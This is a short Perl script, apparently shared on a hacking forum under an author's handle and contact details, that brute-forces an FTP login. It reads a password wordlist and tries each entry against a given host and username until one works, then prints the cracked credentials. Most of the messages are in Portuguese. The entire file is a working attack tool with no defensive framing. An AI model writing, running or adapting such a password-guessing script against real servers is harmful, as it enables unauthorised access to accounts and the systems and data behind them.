ftp brute

#!/usr/bin/perl

########################################################################
#     FTP BruteForce - C0d3r: Nicholas Ferreira ( Nickguitar.dll )     #
#                                                                       #
#    Gre3tz: Hifterbuk, GuiChaguri, Brlo0ping, J0k3rTr4p, and Others   #
#                                                                       #
#         Nickguitar.dll@hotmail.com  |  Skype : niickguitar           #
#                                                                       #
########################################################################
use Net::FTP;

my $host = $ARGV[0];
my $usuario = $ARGV[1];
my $wordlist = $ARGV[2];

system('cls'); #Troque por system('clear'); se voce está no linux !

if($#ARGV != 2){
print "
##########################################################
#                  FTP BruteForce v1.0                   #
#                                                        #
#      C0d3r: Nicholas Ferreira ( Nickguitar.dll )       #
#                                                        #
#    Nickguitar.dll@hotmail.com | Skype: niickguitar     #
#                                                        #
##########################################################

Usage: brute.pl <host> <usuario> <wordlist>
";
exit;
}



print "
##########################################################
#                  FTP BruteForce v1.0                   #
#                                                        #
#      C0d3r: Nicholas Ferreira ( Nickguitar.dll )       #
#                                                        #
#    Nickguitar.dll@hotmail.com | Skype: niickguitar     #
#                                                        #
##########################################################
";
print "[*]Atacando: $host\n[*] Usuario: $usuario\n\n";

open(a,"<$wordlist");
@senhas = <a>;
$b = scalar(@senhas);
for($a>0;$a<$b;$a++){

$numero += 1;
chomp($senha2 = $senhas[$a]);
my $f = Net::FTP->new($host) or die "$!";
if(!$f->login($usuario, $senha2)){
print "[*] $host:21 - [$numero/$b] Testando... $senha2\n";
$f->quit;
} else {
print "[*] $host:21 - [$numero/$b] Testando... $senha2\n";
print "[+] Senha crackeada com sucesso !\n";
print "[*] Login: $usuario Senha: $senha2\n\n";
exit;
}

}
print "[-] Nenhuma senha encontrada :/\n";
exit;